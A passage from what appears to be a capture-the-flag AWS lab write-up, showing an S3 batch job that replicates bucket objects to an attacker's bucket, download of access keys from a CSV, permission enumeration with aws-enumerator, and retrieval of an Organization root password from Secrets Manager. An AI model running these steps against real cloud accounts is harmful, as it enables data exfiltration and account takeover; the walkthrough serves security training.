--description "Batch job to replicate objects from source bucket to attackers bucket"
{
"JobId": "7e900e96-8a25-4f62-aee3-09de19558bb3"
}
The Job is then queued and we can run the following command and wait to see the Status marked as Complete.
❯ aws --profile pentester s3control list-jobs --account-id 314031133559 --region us-west-2
{
"Jobs": [
{
"JobId": "f887b6bc-8e21-439d-a777-ce80eeb21255",
"Description": "Batch job to replicate objects from source bucket to attackers bucket",
"Operation": "S3ReplicateObject",
"Priority": 1,
"Status": "Complete",
"CreationTime": "2024-06-19T04:47:51.106000+00:00",
"ProgressSummary": {
"TotalNumberOfTasks": 3,
"NumberOfTasksSucceeded": 3,
"NumberOfTasksFailed": 0,
"Timers": {
"ElapsedTimeInActiveSeconds": 120
}
}
}
We list the files in the directory of the s3-secure-backup and we can see that this has been successful.
❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37 --recursive
2024-06-19 09:14:41 94 Security_accessKeys.csv
2024-06-19 12:51:01 489 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json
2024-06-19 12:51:01 32 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json.md5
2024-06-19 12:51:01 304 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/results/54d6906181e032972479d71b161b6f4f48ab76c2.csv
2024-06-19 09:37:40 19 message.txt
2024-06-19 11:01:02 48 new_message.txt
There is one file that looks interesting and that is the Security_accessKeys.csv which we will download
❯ aws --profile pentester s3 cp s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv .
download: s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv to ./Security_accessKeys.csv
❯ cat Security_accessKeys.csv
Access key ID,Secret access key
AKIAQ5M4GIJVVW4NMF6X,Olx0v5be4cN56dZ10wgHqAsHf1unhY7TTj2xL3ti
With the file name from the production bucket, we can also use this to get a copy from the replica bucket.
Privilege Escalation
With the credentials found in the S3 buckets we update our AWS Configuration and validate that the credentials are good.
❯ aws --profile security configure
AWS Access Key ID [****************KM65]: AKIAQ5M4GIJVVW4NMF6X
AWS Secret Access Key [****************go5f]: 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
Default region name [us-west-2]:
Default output format [None]:
❯ aws --profile security sts get-caller-identity
{
"UserId": "AIDAQ5M4GIJV2PILOURPW",
"Account": "063141462635",
"Arn": "arn:aws:iam::063141462635:user/security"
}
This time we shall use aws-enumerator
and first, we need to load our credentials and then we will enumerate all services.
❯ ~/go/bin/aws-enumerator cred -aws_access_key_id AKIAQ5M4GIJVVW4NMF6X -aws_region us-west-2 -aws_secret_access_key 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
Message: File .env with AWS credentials were created in current folder
❯ ~/go/bin/aws-enumerator enum -services all
Message: Successful APPMESH: 0 / 1
Message: Successful AMPLIFY: 0 / 1
Message: Successful APIGATEWAY: 0 / 8
Message: Successful APPSYNC: 0 / 1
Message: Successful ACM: 0 / 1
Message: Successful ATHENA: 0 / 3
<--- snip --->
Message: Successful SECRETSMANAGER: 1 / 2
<--- snip --->
Message: Successful WORKLINK: 0 / 1
Time: 1m34.840934527s
Message: Enumeration finished
This is significantly faster than brute-forcing IAM permissions with Pacu, but with far less detail. We can see that we have permissions to SecretsManager and shall list out the secrets.
❯ aws --profile security secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
"Name": "root_account_906e09bc9074",
"Description": "AWS Organization root account",
"LastChangedDate": "2024-06-19T14:47:05.447000+08:00",
"LastAccessedDate": "2024-06-19T08:00:00+08:00",
"SecretVersionsToStages": {
"terraform-20240619064705375100000002": [
"AWSCURRENT"
]
},
"CreatedDate": "2024-06-19T14:47:05.084000+08:00"
}
]
}
We can see from the above output that there is the AWS Organization Root Account Credentials which we shall retrieve.
❯ aws --profile security secretsmanager get-secret-value --secret-id root_account_906e09bc9074
{
"ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
"Name": "root_account_906e09bc9074",
"VersionId": "terraform-20240619064705375100000002",
"SecretString": "{\"flag: 8b681ceb4547c181bf82b7bff602d0f6\":\"magnus@huge-logistics.com : OrgR00TP@ss!!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2024-06-19T14:47:05.443000+08:00"
}
We have the flag and the keys to the entire kingdom.
PWNED!!!